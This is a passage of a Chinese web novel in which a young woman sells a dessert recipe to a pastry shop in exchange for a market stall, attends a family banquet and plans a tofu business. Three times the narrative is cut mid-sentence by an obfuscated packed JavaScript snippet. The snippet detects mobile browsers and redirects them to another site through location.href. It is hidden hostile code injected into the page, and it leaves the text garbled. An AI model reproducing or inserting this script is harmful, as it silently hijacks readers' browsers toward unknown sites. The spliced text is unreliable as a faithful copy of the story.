“另有林家百年福缘斋,他家掌柜倒是和气会做生意,可人是五毒饼重阳花糕出名儿,估摸着也不成。” 懂了,这家是专攻节日限定糕点的。 “再有就是钱家干果铺,他家夏日里倒是挂了幌子卖香饮子,可他家不成。”林屠户皱眉。 “我有回去给你买杏脯时碰见了一卖岩蜜的老叟。钱家那伙计和掌柜,拿着一银勺,你一口我一口的尝蜜,说甚怕里头掺了砂糖坏了点心味儿。山上采的野蜜能有多少?他们这样尝,既不说价,也不说要买,忒欺负人了。” 岩蜜即是山野里的野蜂蜜,酿蜜的野蜂常将蜂巢筑在峭壁石缝里。恰巧遇着能割蜜的地儿已是撞了大运,普通农户冒着风险去割蜜着实不易。 那卖岩蜜的老者,手上和颈子上还有野蜂蛰出的鼓包呢。 钱家干果铺的掌柜伙计如此行事,实在不厚道。 林屠户当时便忍不住说了几句,打那以后更是从不往钱家干果铺去,这时自然也不想闺女去。 林屠户皱眉想了好一会儿:“要不去义和坊的朱家分茶店?他家夏日里也卖豆儿水、豆蔻熟水甚的。” 分茶店? 林真不太想去,分茶店里头不单是卖茶饮,还兼卖饭食。且是饭食为主,饮茶为辅的模式。夏日卖饮子冬日卖羊汤,那是林真的备选项。 “茶肆呢?”这才是林真的第一选择。 “嚯,那是读书人去的地儿,里头都是圆领袍长直?的贵人哩。爹可没去过。”林屠户摇摇头。 林真也不气馁:“无事,明儿我先去茶肆里头问问。若是不成再去朱家分茶店。” 林屠户皱眉,那茶肆里头招待的客人不一般,连伙计也傲气些。闺女不教他跟着去,他也不想真姐儿去受委屈。 林屠户苦思良久,有些不确定道:“要不去林家百年福缘斋碰碰运气?我有回瞧见八仙茶坊里的伙计在点心铺子里进出,且有次跟王巡栏吃酒,他喝得有些醉。言语间漏出几句,说那林家可了不得。瞧着不显山不露水的,人还多客气,可茶酒拽手里,背后还靠着大官呢。” 林真眼睛一亮,成,就他家了。 去一趟点心铺不会亏,若是点心铺能出价买下最好。若是不成,且不管这林家百年福缘斋与茶坊背后是不是同一人,可两家有生意往来是一定的。 她厚着脸皮说道说道,能教点心铺的掌柜引荐一二也是好事一桩。即便不成,她也没甚损失。 心中有了主意,林真梳洗后便早早睡下,明儿一早坐村里的牛车去县里。 翌日,天才刚亮,林真已经背着背篓去村口等牛车了。 她来得已算早,可牛车上还有人比她更早。林真久不在村里居住,不识得那妇人,交了两文钱后抱着自个儿的背篓坐在一旁。 那妇人倒是很自来熟,她冲着林真的背篓抻脖子:“真姐儿这么早去县城作甚?” 不表明身份反倒是一个劲儿探头,林真笑了笑:“阿婶,家里缺盐,我去换些来呢。” 只一句,后头就当自个儿是个锯嘴葫芦,缩在一旁绝不多言。好在赶车进城的人渐多,那妇人问不出话来便不再盯着林真瞧。 枣儿村离县城不远,村里赶车的老汉路熟,拉车的老牛也识途,小半个时辰便到了慈溪县。 进城不必缴门税,林真背着背篓跑得飞快。牛车上的婶娘们太能唠了,且个个辈分都比她大,一路上她脸都要笑僵了。 入了城,鱼儿入水般混入喧嚣的人群,林真这才觉得好受些。 一路顺着主街向西市快步而去,不过辰初,西市已是热闹非凡,招幌飘荡,人声鼎沸。 林家百年福缘斋正当道,招幌做得又大又亮眼,想不瞧见都难。 才靠近些,铺子里蜜糖的甜香和果仁香已教人飘飘然。这种香味儿教人心底油然生出一种满足和富足,是幸福的味道。 进得门去,条案上的点心蜜饯已教人花了眼,靠墙的多宝阁上更是了不得。 彩绘漆盒和白瓷盘上堆叠的点心摆得极为讲究,上层摆着看饤,雕花蜜饯和糖塑,瞧着就知晓店家的好手艺;中层是各色糕、饼、酥,一样样挂着签子;下层是果铺、干果和撒子这些耐储存的零嘴儿。 具都堆得宝塔似的,教人瞧着就欢喜。 “小娘子买些甚?白玉霜方糕是才出锅的,上好的糯米制的,软糯香甜。或是蜜煎诸色果子?杏、梨、陈皮儿都有,一盒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16222073|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子买回去摆着好看,还能尝得好几种滋味儿呢!” 林真才踏进门,一收拾得多整齐的小伙计便迎上来,面上带着团团的笑。嘴一张,噼里啪啦给林真报菜名,不,点心名儿。 林真的目光从各色点心上头移开:“小哥给我包些桃酥和松子糖罢。另外,可能邀你们掌柜一见?” 小伙计不奇怪,常有运道好的百姓得了岩蜜来此售卖,铺子上也会收。 “小娘子可是有岩蜜要售?小子也能给掌掌眼呢,倒是不肖去寻我们掌柜的。” 林真瞧着左右无人,她干脆走近了些,从背篓里将桑叶豆腐拿出来,一把揭开上头盖着的麻布。 “不是岩蜜,是自家制的新鲜吃食。小哥瞧瞧?” 伙计才要拒绝,他家铺子上的老师傅是打从京都来的,甚点心不会? 这小娘子瞧着也不是富贵人家出身,自个儿能琢磨出甚好东西呢? 可那小娘子将手中寸深的白瓷碟儿望他跟前一凑,只一眼,就教那小伙计“咦”了一声。 林真手微微一晃,白瓷碟儿里的桑叶豆腐也跟着轻轻一颤。 那伙计眼睛一亮,将人请到店内陈设的小圆桌边坐下:“小娘子请稍坐,我去后堂请掌柜的。” 他还很顺手的将林真揭开的细麻布又盖了回去,随即便快步向后堂跑去。 林真瞧着步子颇为急切的小伙计心下暗喜,不枉她在家里翻了好半天才寻出来的这个白瓷碟儿。 “叔父!铺子里来了个小娘子,带着好稀罕的东西来说要卖。色如翡翠质若凝脂,您且去瞧瞧?” 林掌柜端着一盏子茶汤,不紧不慢撇茶三次,轻抿一口。 “怎如此急躁?在铺子里要唤我掌柜的。” 小伙计急急停下,叉手行礼改口道:“掌柜的,那小娘子带来的东西甚是稀罕。小子还从未见过,您移步去瞧瞧?” “不急,既是自个儿寻来的,且让她等一等。你去花厅泡壶清茶,端两碟子细点,再请那小娘子过去。”林掌柜不紧不慢吩咐完。 那小伙计苦思一番,而后眉眼带笑道:“多谢掌柜的肯教我。小子知晓了,必会待那小娘子客气周到。” “嗯。”林掌柜点点头,心下添了几分满意。 他这侄儿打小便跟在他身边,眼力自然不差,人也果决敢做决断。只到底年纪不大,还得再稳重些。 这谈生意,哪能露了急切教人瞧出来?凭他再好的东西,面上都得稳住。 林真被引去议事的花厅,吃了一块儿云片糕,饮了几口清茶后才见到面上一团和气,天生带着三分笑意的林掌柜。 “实在对不住,晨时忙碌,教小娘子好等。”林掌柜拱手道恼。 “我那小伙计咋咋呼呼的,可曾怠慢了小娘子?” 林真听掌柜的绝口不提看货,但又待她十足的客气周到,便知道她那桑叶豆腐是教人瞧上了。 她本不擅这等商讨拉扯之事,且她进门已好一会儿,心里知晓这掌柜的不是好糊弄的,索性实在些。 “掌柜的,我原是听闻林家铺子素来厚道便直直奔着这头来了。您瞧瞧我这东西,若能瞧得上,给个实在价,我直接将这方子卖与您。” 11. 第 11 章 林掌柜面上的笑容不变,心里却在嘀咕:直接卖方子? 他瞅了瞅林真,见其一脸认真不似顽笑。略想了想,取了银勺自尝了尝味,又听得那小娘子说这豆腐要加糖水吃甜口的才好吃。 瞬间就琢磨明白这小娘子何故要直接卖方子了。可同样的,林掌柜一瞧见这东西,脑子里用它赚钱博名儿的法子就不止一个。 林掌柜笑了笑:“小娘子实诚,我也不拿话来糊弄你。这东西您自个儿是不好出手,可在我手里却正好。虽只能在夏月售卖,可也确实新奇可观。老朽做主与你六十贯直接买下,只一点,小娘子在慈溪县内不可另卖他人。” 果然是多年的老掌柜了,三两句话就点出关键之处。且报价也很是爽快,并不会在言语之间多番试探,一分利不让。 说实话,这个价格已超出林真的预期。可这不是林真费劲巴拉直接卖方子想要的。 “掌柜的是厚道人,我也不瞒您。我卖这方子有个条件,您家铺子可在兴福坊摆摊?您划一溜与我,也不多,能摆下一个独轮推车就成。” “至于这方子,您给一半的价。我保证,这东西您绝对是独一份儿,出了这个门儿,我自家都不会做来吃。” 这才是林真想换的,一个自带优质客源的固定摆摊地。 慈溪县三十六坊,有似林家之前租赁的丁一坊那样,三间屋子一方窄院儿便划做一户,挨挨挤挤住了百来户的平民坊。 自然也有像兴福坊、长兴坊这样,一坊内只住三四十户,坊内全是二进、三进院的富足人家聚集的富人坊。 林真的目的,便是想用桑叶豆腐的方子敲开入场摆摊的资格。 谁都不傻,自然知晓那富足人家择居之地东西好卖。可那些地儿不是谁都能随便进的,大多都被县里这些大掌柜们占去了,偶有漏出来的,也不是林真伸腿就能进的。 若是没熟人引荐,普通百姓轻易不得靠近,更遑论在坊内支个摊子卖货?巡视的步快和收钱的巡栏都不是吃素的,眼尖着呢! 林真很有自知之明,自家是毫无根基的升斗小民。 崇德、怀仁、八兴坊那样,一坊内只五六户人家,一户占去两条巷子,世代有官身的豪门士族聚居处去不得,可兴福坊内这样多是豪商贾人,手里有钱又无甚实权的人家,还是能闯一闯的。 林掌柜一团和气的脸上这时候才显出些惊讶来,他暗自打量了一下眼前这位年纪不大的小娘子。 就是慈溪县内最普通的女郎啊。衣着朴素,只身形高挑些、腰板笔直些、眼神清正些、面无惧色眉目间较之常人多添了两分英气…… 林掌柜倏尔一笑,这还普通啊? 这已是个极为利落周正的伶俐人儿了,瞧着还有几分林家女公子的影儿。拒绝的话在嘴里打了个转。 “小娘子手中还有尖儿货?” “嗨,不过是还有一门制豆腐的手艺傍身罢了。您瞧这东西,跟豆腐是不是有几分相似?”林真一脸纯良。 “您放心,我只做豆腐生意,旁的一概不沾,必定不会教人觉着不洁净,扰了您的生意。” 林掌柜心里默算了一回,半天才开口道:“小娘子既要摊子,那这方子便让些价罢,我给您取个整,二十贯。” “成!”林真干脆点头。人家大方,她也不拖沓。最重要的目的达成,些许小利便不能计较,没得教人觉着小家子气,反正都能赚回来。 两人既已商量妥当,林掌柜即刻便立了契,又使唤自家侄儿往县衙户房走一遭,备案加印,登记留底儿。 这时,瞧着林真在契书上落下的名儿,林掌柜笑道:“倒是有缘,咱俩还是家门儿。” 心中一动,将这桩事儿说与林家女公子听,说不得还能讨个巧。想到这儿,林掌柜面上添了三分喜意,对自个儿领林真进入兴福坊内摆摊之事倒是满意。 等派出去买桑叶的伙计回来后,才去请了蒸房的老师傅来,要上手制那桑叶豆腐。 那老师傅也不动手,使唤了自家的徒弟上手,就着林真带来的一包碰冰子,只一遍,就将那桑叶豆腐制成了。 “倒是好巧思,桑叶取其色再借两分味儿。要紧的是小娘子手上那包东西吧?那是甚?”老师傅这才开口说话。他原先很有几分傲气,乡野之地,能有甚稀罕物? 可到底是与林家立了赁约,拿着林家的月钱,还是亲自来了。此时一眼就瞧出来,桑叶不重要,那小娘子手里拿的那东西才重要。 “也不是甚稀罕物,满山遍野都是,村里人都唤作秤砣果。”林真将昨日特意留下来的两个碰冰子拿出来给老师傅和林掌柜瞧。 “对半剖开,取其籽,晒干即可。” 秤砣果挨个在两人手里转过,那小徒弟还切开来给自家师傅细瞧。 “家里还有好些正晒着,明日便能用,到时候给掌柜的送来?”林真见缝插针。 林掌柜笑了笑:“林小娘子想要个甚价?” 这是还想着做另一桩生意呢。 林真笑笑,爽快承认:“乡野人家挣点铜子不容易,若是掌柜的需要,往后这东西我都晒干包好了再给您送来。这东西先前只觉着碍事儿,前山许多都教人割了引火烧灶,要往山里走远些才有。” 林掌柜略微想了想,点头:“林小娘子手上有多少,明日都送来罢。” 去县衙跑腿的伙计这时刚好回来,捧着匣子装了两份盖了红印的契书过来。林掌柜和林真各执一份,还有一份留在县衙。 林真默算了一回时间,果然,这林家百年福缘斋背后的靠山能量不小。县衙官吏动作这样快?这才多久?契书就到手了。 “林小娘子,二十贯钱您背着怕是吃力。老朽给您银十五两,铜钱五贯罢?” 只说不要纸钞,完全忘了这一茬的林真很是感激:“多谢您了,倒是教我又得了利。” 这时候虽说一贯铜钱可换一两银,可实际并不这么换。火耗钱一算,常会多收几十个铜子儿,多的时候要添足足一吊钱。 林掌柜笑容深了些:“这话可太过客气了,请您稍坐。” 林真再出门时,身上负重颇深。银子贴身放,铜子放背篓。背篓里还有林掌柜包的四包点心,除了她进门时要的桃酥和松子糖,人还另外捡了云片糕和蜜煎果子送她。 话还说得多客气:“今儿这桩生意做得痛快,只这一回,还请林小娘子莫要推辞。” 身怀巨款的林真不敢久留,干脆没等村里的牛车,从车马行自雇了一辆驴车直直回了枣儿村。 林真结清车资后一路小跑着回家,倒是与她借口家有急事的模样合上了。 “怎跑得这样急?”苗娘子瞧着林真面色泛白,急忙教人歇下,还端来一盏子凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16222074|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶。 “天儿热,可不好这样疾行。” 直到回了家,林真那一颗乱跳的心才安定下来。 是她托大了,回村的路上有段路少有人烟。从那头过的时候,她脑子里翻来覆去就是‘杀人越货’这几个字。唉,总算是知道这时候的人出门为什么都喜欢结伴而行了。 “真姐儿,怎这时候家来了?村里的牛车可还没归来哩,你是一个人回来的?你一个年纪轻轻的女郎,胆子怎这样大?”外出家来的林屠户瞧着林真,面色不怎么好。 苗娘子也是一脸欲言又止的表情,她才刚就被吓到了,只不好说。 “爹,我错了,我真错了。今儿将那方子卖了大价钱,心里着急,实在是顾头不顾尾的。”林真赶忙将身上和背篓里的巨款全摸出来转移注意力。 哪晓得林屠户脸上更黑了:“你这女娃!可真是要吓死我了!” 随即又自责:“我今儿该跟你同去的,我怎么就没想到呢?你要是有个三长两短的,我真是不必活了。” 完了!这是林真唯一的念头。 果然,家里人还没摆平,她大伯母上门了。 “真姐儿,我怎听人说你一个人雇了驴车家来呢?从县里到村里好长一截路没甚人呢!你这娃,胆子实在是大,你以为拐子只拐小孩儿啊?你这样孤身一人的小娘子照样好下手得很!” 李金梅在屋里打草鞋呢,老头子急慌慌家来。张口说起这事,她心头就是一跳。先前老头子嘀咕真姐儿胆子大主意大的时候,她还回嘴,经了这一遭,她是再不敢反驳了。 “大伯娘,我雇的是车马行留底儿的正规驴车。”林真小小为自己辩解。 “那也不行!真姐儿,你听话,无论去哪,若是地界荒凉些,定要寻人搭伙作伴。不对,你就不准往那荒凉地界去!” 林真被大伯娘灌了满脑子的走失惨案,整个人蔫哒哒的。 “真姐儿,爹不是不准你出门走动。从前在县里,爹可从来没说不准你出门。咱们村里,除了进山,你哪儿都可去。可一旦出了村儿,必要与人同行,你今儿若是坐村里的牛车归来,爹也不会如此后怕。” “爹,我晓得了,往后真不会了。”林真是真的认识到错误了。 这里,是大庆朝。不是她所处的那个有文明和科技双重保障的时代了,她得摆正心态。 “爹,我和林掌柜约好了。明日要去送货的,可不好失信于人。我明日叫上巧儿陪我去,来去必定都跟着村人坐牛车。” 林屠户皱着眉,好半晌才点头:“我去说,再叫上茂安陪着你俩走一趟。” 也行,这碰冰子估计卖不了几回,她本来就是想教巧儿赚个零花钱的。再带上茂安哥,也成,说起来这碰冰子还是茂安哥找着的。 少有的,家里有钱有糖,可气氛却比平日里沉闷几分。一家子用过夕食后,没说几句便各自歇息去了。 林真躺在床上挺尸,燕儿爬上来,摸了一个松子糖塞姐姐嘴里。 “阿姐,你别不高兴了。我觉着你可厉害可厉害了!” 满口果仁儿香的松子糖入口,再瞧瞧燕儿满眼的崇拜,林真满血复活。 “对,这不算啥!我就算是个二愣子,那也是个聪明的二愣子!” 这是来自家人的牵绊,似乎有些麻烦,可要林真实话实说:其实还不赖。 12. 第 12 章 翌日,跟着林巧儿兄妹俩去了一趟林家百年福缘斋。将所有晒好的碰冰子都卖与林掌柜后,林真老老实实呆在家里,少有出门。 家里摆酒的日子就在三天后,也实在没功夫出去。 泥巴院儿教林屠户拉着碌碡碾了一圈儿,洒水清扫的时候不再扬得一头一脸的黄土。窗楞子使了钱教木匠来修补过,擦得干干净净,糊了新的窗纸。 这么一瞧,林家的院子甚是宽敞齐整,着实不差。 林家四月廿八做席,廿六那一日李金梅定下的鸡鸭按数都收足了,借来的条凳方桌也堆在院儿里。廿七,县里定下的浊酒和要宰杀的猪进了林家,院子一角新砌了几个简易泥灶。 廿八,天才麻麻亮,林大伯一大家子就来了。 林大伯带着俩儿子预备着和林屠户一起将后院儿里饿了一天的猪宰杀了。林真已烧了满满三大锅沸水,猪毛、鸡毛、鸭毛都得滚水烫过了才好褪。 “猪和鸡鸭就在后院儿都宰了,别弄到前院来。宰了再弄到前头来烫毛,没得又弄得院儿里不干净。”李金梅端着大木盆,里头是化了盐的凉白开,预备着接了血,凝成血豆腐,教帮忙的众人中午也见个荤腥儿。 其实这宰杀牲畜的事儿本不该在办席当日做。 可天儿实在热,若是昨日宰了,这么多的肉怕是要坏,便只能今儿起个大早来弄。 李金梅放下木盆便拐去前院儿,寻常宰鸡宰鸭的她是不怕。可恁大一头猪,长条凳儿都要摆三张,那么个大家伙,眼儿又大,按在条凳上下刀子,寻常人都有些怕,李金梅自然也怕。 她自家出去还不算,又把林真和林巧儿往外头赶。 后院儿里一顿叮铃哐啷,随即便是猪惨厉的嚎叫,燕儿抖了抖,往林真边上靠。 听得后院儿没动静后,几人将滚水往后院抬。林屠户接了滚水烫猪毛,几下便将猪毛刮下来,白花花的肉露出来,李金梅就是一声赞。 “这猪好,说是瘦猪,可身上白肉还是多,炼出荤油做了席后,说不得还能给自家剩下一罐来。” “娘,那今儿我能吃一碗猪油渣吗?”林巧儿眼睛一亮,才刚出锅的猪油渣,洒些细盐,一口一个,油滋滋嘎嘣脆。 “我瞧着你是想吃竹笋炒肉!”李金梅眼一瞪。 “一边儿去,今儿忙得很,你和真姐儿带着燕儿屋里去,别出来添乱!” 林屠户将整头猪拆解后,李金梅也赶他走:“冲洗一下换身体面衣裳,今儿且不肖你们动手。等到了时辰我使唤茂安喊你出来迎客就是。” 做席的这一日主家是不肖动手的,村里自然有人来帮忙。 天色大亮后,陆续有人上林家来。先来的是同村的人,村里办事自有章法,村人各自领了洗菜切菜、烧火煮饭、洗碗摆桌的活计忙碌开来。 林屠户请的周灶人带着俩徒弟也早早来了,领着切菜的村人摆了砧板菜刀也忙活开。嫁去青桑村的林香莲同样早早领着男人和一双儿女回来了。 时人吃席多有讲究,村里走的礼不重,一户人家多只来两人。 真要有那爱贪小便宜,只带一篮鸡子上门,却领着一大家子七八口人,占去大半张桌子的人家。不光会被人说道,下回自家办事儿怕是不好请人相帮。 这便是村里的人情往来,处世之道。 可自家兄弟姊妹却不同,何况林香莲还带了重礼来。 “嚯,你这大姑子出手倒是大方,四斤重的厚丝衾一床。”记礼单子的是村里的老人了,他瞧着林香莲,低声问道。 “你这礼,家里婆母公爹可知晓。” 他话虽问的林香莲,可眼却瞧的是林香莲的丈夫。 不怪三叔父有此一问,普通百姓从开年便要为过冬做准备。寻常连地上的一根儿禽羽都不放过。 棉贵,常有人家为一件冬衣一床厚衾生嫌隙,更遑论这厚丝衾?那里头絮的可是丝绵! 虽说刘家养蚕,次等的蚕茧,似同宫茧蛾口茧那些是无法缫丝的,只能拿来翻丝绵做絮,可价格照样不菲。这么一床厚丝衾可值不少钱,他必须问个清楚。 “三叔父,这是爹娘做主教小子带来的,给有生兄弟添添喜气儿。”林香莲的丈夫赶忙回话。 “嗯,这便好。”记礼单子的老者很是满意,随即清了清嗓子大声唱道。 “林家女香莲,姑爷刘元,送丝衾一床,足四斤!衾暖枕安,福寿绵长!” 院儿里静了一瞬,随即嘁嘁喳喳的议论声便炸了开来。 “嚯,香莲出手恁大方了!” “丝衾啊!还是青桑村日子好过,我家攒了两床八斤重的棉被还觉着好,可跟人这厚丝衾还真是不能比。哎,你们说说,这丝衾盖起来是个甚滋味?不知道老婆子入土前能不能得这么一床厚丝衾。” “嘁,手忒松,这样往娘家搬东西,也不怕被休了!” “啧,你这人怎么说话呢?人香莲是正经去县里的布坊拜了师的,纺纱织绢样样成!嫁与他刘家不算高攀,再说了,当年香莲出门子时,那嫁妆可不少吧?咱枣儿村,除了族长家,就数香莲了。她兄弟娶媳,拿床被子怎的了?” “香莲勤快能耐不说,一进门儿先得一男,后有一女,一双儿女不知道多惹人疼。在婆家站得稳稳当当,自然说得上话,公婆也乐意给她做脸。咱们林氏的姑娘嫁得好,立得住,是好事儿。你心里泛酸,可也别在林家这大喜的日子里说丧气话。” 最后出声的妇人年纪较长,辈分儿高说话也在理,众人对林香莲这份儿重礼的议论便就此被压下。 林屠户带着苗娘子出来迎他大姐的时候,刚好听见唱礼。 “大姐和姐夫人来就成,怎还带这样重的礼?” “都是自家东西,有生兄弟别和我客气了。咱们是一家人,可别跟我见外。”刘元可没忘记他这小舅子年年往家里送的好肉。 他撸起袖子道:“让香莲同你们说说话,我去帮着摆桌子。” 林真和林巧儿也带着燕儿出来见姑母。 林香莲闲不住,互相见礼后便将一双儿女丢给林真,自系了襻膊去帮忙。 林巧儿巴不得如此,她还有要紧事要跟真姐儿说呢。拿了点心堵住小孩儿的嘴后,林巧儿凑近林真,神神秘秘道:“真姐儿,你猜猜,就这三天,我跟二哥卖秤砣果卖了多少钱?” “多少?”林真就领了他们去过一回,与林掌柜说好后自己再不曾去过,还真不知道这兄妹倆卖了多少钱。 “足足两吊,两吊钱哩!”林巧儿很是兴奋,“最后一回咱们晒的籽不够数,本没打算要那半包的钱,可林掌柜做主与咱们凑了个整数。他人还怪好的呢!” “来来来,这是你的一吊钱,你收好。”林巧儿从荷包里拿了一串用细麻绳栓好的铜子往林真那头推。 林真一把按住:“我不要,咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16222075|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先前不是说好了?你和茂安哥自个儿收好。” “那怎么成?这东西是你说能卖,林掌柜也是你找着的买家,你该拿大头。” 林真摇摇头:“不,巧儿,这秤砣果林掌柜怕是不会再收了。果子是茂安哥去摘的,籽是你晒的,这钱你们自己分。” “啊?怎么你和我哥一个话,都说林掌柜不收了,可人好像没说这话。”林巧儿一脸疑惑。 “可人家也没说下次再送来的话。人最后一次添了整数将你们手里的东西都收完了,那就是不再收了的意思。”生意人说话做事都留余地,结清了,又没说还要,那就是自个儿找到了安全的货源。 林家人进进出出确实不利于林掌柜的保密工作。 “哦。”林巧儿点点头,很是真心的夸赞道,“真姐儿,你真聪明。” “那是!”林真翘尾巴。 “不对,怎么被你绕进去了?我哥说了,这钱一定要分给你的。” 林真按住那串铜子儿,压低声音道:“巧儿,我有其他赚钱的法子,你就别跟我推来让去的了。这些钱你自个儿留着买头绳罢。” “啊?”林巧儿犹犹豫豫,“真不要啊?恁多钱呢?” 对手里常常只有三五个铜子的林巧儿来说,这真是好大好大一笔钱了。 “真不要,你收回去。对了,你在家忙不忙?往后我要是去县里卖东西,我爹可不放心我一个人去,少不得要唤你同行。”林真问。 “倒不是多忙。”林巧儿想了想,虽有些迟疑,但还是点头,“你若有事儿只管去唤我” “成,我记下了。” 姐俩还在说话,听得外头一串鞭炮响,晓得这是要开席了。忙带了几个小的往外头去,果然瞧见院里摆放好了方桌条凳,碗筷也上了桌子,有族人唱道。 “诸位高亲贵友,吉时已至,请诸位入座嘞!” 连唱三遍后,林氏族长兼枣儿村现任里长林正业领着族里上了年纪的老辈先行入席。其余人随后才按着辈分吆喝着交好的人家团团围坐。 林巧儿很有吃席的经验,领着一群人就朝年轻媳妇那桌去了。 上菜的村人扛着食案一样样上菜:爊鸡、蒸鱼、荠菜炒猪肉片儿…… 八道菜,一眼瞧去大半都是荤腥儿,还有浊酒和一笸箩的二合面馒头。这席面,办得甚是丰盛! 一时间,连寒暄声都少了些许,嘴里还在互相谦让着,可眼儿却很是实诚地盯着油汪汪的肉瞧。 林屠户带着苗娘子挨着桌子敬酒。 今儿来的都是亲近人家,菜又这样好,难免闹得久了些。等宾客散去,相帮的村人将林家的院子收拾干净后,蛙鸣阵阵,月儿也上了枝头,整个枣儿村静悄悄。 翌日,后院儿里幸存的那只大公鸡扯着嗓子叫了三回,林家院子里才有动静。 一家子吃朝食时,自觉老实了许久的林真,胆子又长肥了。 “爹,您今儿去还方桌长凳时,顺道去寻寻石匠,给咱家打个大石磨来。”林真拿了林掌柜给的银子出来,往她屠户爹那头推了推。 是的,林真卖方子得的钱,林屠户一个子儿都没要。全捏在林真自个儿手里。 林屠户眼都不抬一下:“要石磨做甚?你又不喜欢吃馒头饼子的。” 林真讨好的笑笑:“那啥,女儿先前不是说要找个赚钱的法子吗?现在找着了,连摆摊的地儿都找好了!” 13. 第 13 章 林真赚钱的法子是豆腐。 很没新意,她知道。可这真是她在县城踩点,不,市场调研三天后想出来的最具可行性的赚钱营生。 时间已经检验了,豆腐是一款老少咸宜受众面极广的吃食,长久且牢牢地占据了国人餐桌上的一角。豆浆、腐竹、千张、豆腐脑、豆皮儿、油豆腐…… 总有一款适合你。 这时候的豆腐已初具餐桌一霸的势头。 一方豆腐,富人买去精烹细羹,做甚八宝豆腐、蟹黄豆腐的自然极好;普通百姓买回去,或是焯水加葱清拌,或是搁些荤油大酱烧煮一番,也是桌上难得的美味。 林真转了三四家县城的豆腐坊,发觉这时的豆腐还是初级形态,豆浆、豆花和豆腐块儿。 只豆腐块在口感上略微有些区分,嫩生的和有韧性儿的;再有秋日限定美食,腐乳,时人唤其红方,用来佐粥甚美。 穿越大神还是给了她金手指的啊!豆腐十八般形态,这才哪到哪,她的发财之道,妥了! 可等她真要动手的时候才发现,差工具,家里连石磨都没有,说甚都是空谈。有人说撑船打铁磨豆腐,为人间三苦。 林真对此感到疑惑,她现在就想吃这磨豆腐的苦头,且还吃不上呢! 滤架、豆腐箱、压板那些先不说,这算小钱。 可灶台、锅和石磨她一样都买不起,粗粗算过,这是一笔不小的钱财。这才有了林真先前卖桑叶豆腐方子那一出,她需要原始资金。 她的屠户爹,一门心思给她攒嫁妆,就是手里有钱能置办下这些工具,他轻易也不会动。 这没什么好抱怨的,这是时代的局限性,她总要先证明自个儿的能耐,水磨工夫到位了,才能扭转她爹的想法。 “女儿会点豆腐,爹教石匠打一口大石磨来,可以用驴拉的那种。咱再去牲口行买头小驴家来磨豆腐,如此,便是家里人手少气力不足,咱这豆腐坊也能给张罗开来。”家里原本的那头老驴陪着林屠户乡里乡间跑了许多年,是家里的大功臣,林真没想过还要用老驴来拉磨。 觑着屠户爹的面色还好,林真继续道:“这钱还能再使人在院儿里砌一口三眼灶,买一口熟铁锅并两口敞口陶釜,这样不止省柴火速度还快。大伯家有甜水井,村里种大豆的人家也多,好水好豆都有了,这豆腐想不好吃都难。且女儿还想了个别的吃法,梦里瞧见了,口水直流,将这豆腐往兴福坊内一摆,不愁卖不出去!” 苗娘子先还只是低头听着,可越听越觉着林真的主意好。方方面面具都思虑周全了,连兴福坊内的摊子都有了,实在是家里一条妥当的赚钱法子。 可她没说话,瞧了瞧林家父女倆的眉眼官司,招呼着燕儿避开了。 “真姐儿,爹且问你,你这主意在心中存了多久?” “也没多久呀,就是忒想赚钱了。”她屠户爹面上瞧不出甚,林真只能小心回答。 “你手里现有二十贯钱,爹还给你存了八贯,有这些钱财傍身,再寻一门好亲事,你后半辈子才有依靠。作甚非要起早贪、黑风里来雨里去的支个摊子卖豆腐?”林屠户实在不解。 闺女儿打小就主意正,他一直都知道。先前大哥说真姐儿这样不好,可他不觉着,反倒是庆幸真姐儿这性子轻易不会受了欺负。可今儿这一出,他着实想不通。 林真垂下眼帘儿,没有反驳林屠户。 她微微低头,声音有些颤:“女儿害得家里失了肉行的摊子,心中煎熬!爹,您年纪不小了,这些年为着家里操劳,身上落下的病痛我都知道!我就想给家里寻个稳当些的法子赚钱,不然,女儿怎么忍心抛下爹去嫁人呢?您光想着为我后半生寻依靠,可您没想过自个儿还能撑几年?家里又还能撑几年?” 其声呜呜然,如怨如慕,如泣如诉如泣如诉[1]。 虽然有演的成分,可句句真心。说到后面,声音实实在在添了几分哽咽。 林屠户一堆话堵在喉中说不出来,从前不让真姐儿跟着去肉摊子的时候。真姐儿也是这样倔:“我就是不想爹爹如此辛苦!” 他从前对真姐儿没法子,如今更没法子了。 沉默许久,林屠户叹了一声:“罢了,爹去找石匠,灶台、铁锅和陶釜也都给你弄好,其他的,我再不会管的了!” “爹,还要买小驴。”林真小心补充,将银子又往他爹那头推了推。 “哼!” 林屠户前脚出门,林真后脚也出门,不过她是去找她大伯娘。 